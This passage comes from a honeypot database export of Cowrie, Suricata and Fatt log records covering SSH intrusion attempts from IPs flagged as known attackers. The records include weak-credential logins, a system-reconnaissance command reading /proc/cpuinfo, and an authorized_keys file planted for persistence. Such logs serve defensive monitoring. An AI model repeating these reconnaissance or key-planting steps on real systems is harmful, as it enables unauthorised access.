"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39572, "timestamp": "2021-09-20T12:12:48.200361", "@timestamp": "2021-09-20T12:12:48.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36188	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.147452+03	2021-09-20 15:15:04.249721+03	{"_id": "-wYfA3wBvYTbRNuEiGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "osx-x32-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.params", "message": [], "session": "ec89c85ed1ab", "@version": "1", "timestamp": "2021-09-20T12:12:50.147452Z", "@timestamp": "2021-09-20T12:12:50.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	NL
36189	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.412952+03	2021-09-20 15:15:04.251689+03	{"_id": "_gYfA3wBvYTbRNuEiGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 28, "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "src_ip": "23.97.240.235", "ttylog": "log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/8dd1c8451eb1afc288a6782fe153c8cedab7d2ec56107c831421feceb4b7f515 after 0 seconds", "session": "ec89c85ed1ab", "@version": "1", "duration": 0.04552006721496582, "duplicate": true, "timestamp": "2021-09-20T12:12:50.412952Z", "@timestamp": "2021-09-20T12:12:50.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	NL
36190	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:49.971564+03	2021-09-20 15:15:04.252719+03	{"_id": "_wYfA3wBvYTbRNuEiGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "56cb83ca2445", "@version": "1", "duration": 1.3575012683868408, "timestamp": "2021-09-20T12:12:49.971564Z", "@timestamp": "2021-09-20T12:12:49.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36191	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.367554+03	2021-09-20 15:15:04.253719+03	{"_id": "AAYfA3wBvYTbRNuEiGHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "osx-x32-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.params", "message": [], "session": "ec89c85ed1ab", "@version": "1", "timestamp": "2021-09-20T12:12:50.367554Z", "@timestamp": "2021-09-20T12:12:50.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	NL
36192	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.3681+03	2021-09-20 15:15:04.254719+03	{"_id": "AQYfA3wBvYTbRNuEiGHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l | head -c 30", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l | head -c 30", "session": "ec89c85ed1ab", "@version": "1", "timestamp": "2021-09-20T12:12:50.368100Z", "@timestamp": "2021-09-20T12:12:50.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	NL
36193	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.611326+03	2021-09-20 15:15:04.256728+03	{"_id": "6QYfA3wBvYTbRNuEgWAW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:39682 (192.168.176.2:22) [session: 56cb83ca2445]", "session": "56cb83ca2445", "@version": "1", "protocol": "ssh", "src_port": 39682, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.611326Z", "@timestamp": "2021-09-20T12:12:48.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36194	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.199221+03	2021-09-20 15:15:04.258691+03	{"_id": "7AYfA3wBvYTbRNuEgWAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "ec89c85ed1ab", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:12:48.199221Z", "@timestamp": "2021-09-20T12:12:48.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36195	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.521134+03	2021-09-20 15:15:04.25973+03	{"_id": "6gYfA3wBvYTbRNuEgWAW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.success", "message": "login attempt [jia/123456] succeeded", "session": "ec89c85ed1ab", "@version": "1", "password": "123456", "username": "jia", "timestamp": "2021-09-20T12:12:48.521134Z", "@timestamp": "2021-09-20T12:12:48.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	NL
36196	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:12:48.657141+03	2021-09-20 15:15:04.260722+03	{"_id": "7wYfA3wBvYTbRNuEgmAx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 2235985656065025, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39682, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.657141Z", "@timestamp": "2021-09-20T12:12:48.657Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36197	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:12:48.657271+03	2021-09-20 15:15:04.26272+03	{"_id": "8AYfA3wBvYTbRNuEg2Aq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39682, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.657271", "@timestamp": "2021-09-20T12:12:48.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36198	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:12:48.241435+03	2021-09-20 15:15:04.26372+03	{"_id": "-QYfA3wBvYTbRNuEg2Bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39572, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.241435", "@timestamp": "2021-09-20T12:12:48.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36243	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:13:11.146953+03	2021-09-20 15:15:04.324722+03	{"_id": "MQYfA3wBvYTbRNuE2mH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0bc0c7954ef5", "@version": "1", "duration": 2.7520480155944824, "timestamp": "2021-09-20T12:13:11.146953Z", "@timestamp": "2021-09-20T12:13:11.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36199	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.924305+03	2021-09-20 15:15:04.264691+03	{"_id": "-gYfA3wBvYTbRNuEhGD_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "56cb83ca2445", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:12:48.924305Z", "@timestamp": "2021-09-20T12:12:48.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
36200	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.234715+03	2021-09-20 15:15:04.266691+03	{"_id": "_AYfA3wBvYTbRNuEiGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "23.97.240.235", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "ec89c85ed1ab", "@version": "1", "destfile": "/home/jia/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:12:50.234715Z", "@timestamp": "2021-09-20T12:12:50.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	NL
36201	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.414306+03	2021-09-20 15:15:04.26769+03	{"_id": "AwYfA3wBvYTbRNuEiGHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ec89c85ed1ab", "@version": "1", "duration": 2.2154619693756104, "timestamp": "2021-09-20T12:12:50.414306Z", "@timestamp": "2021-09-20T12:12:50.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36202	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.241901+03	2021-09-20 15:15:04.268691+03	{"_id": "6AYfA3wBvYTbRNuEgWAW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ec89c85ed1ab", "@version": "1", "timestamp": "2021-09-20T12:12:48.241901Z", "@timestamp": "2021-09-20T12:12:48.241Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36203	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:48.616631+03	2021-09-20 15:15:04.270691+03	{"_id": "8gYfA3wBvYTbRNuEg2Bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39682, "timestamp": "2021-09-20T12:12:48.616631", "@timestamp": "2021-09-20T12:12:48.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
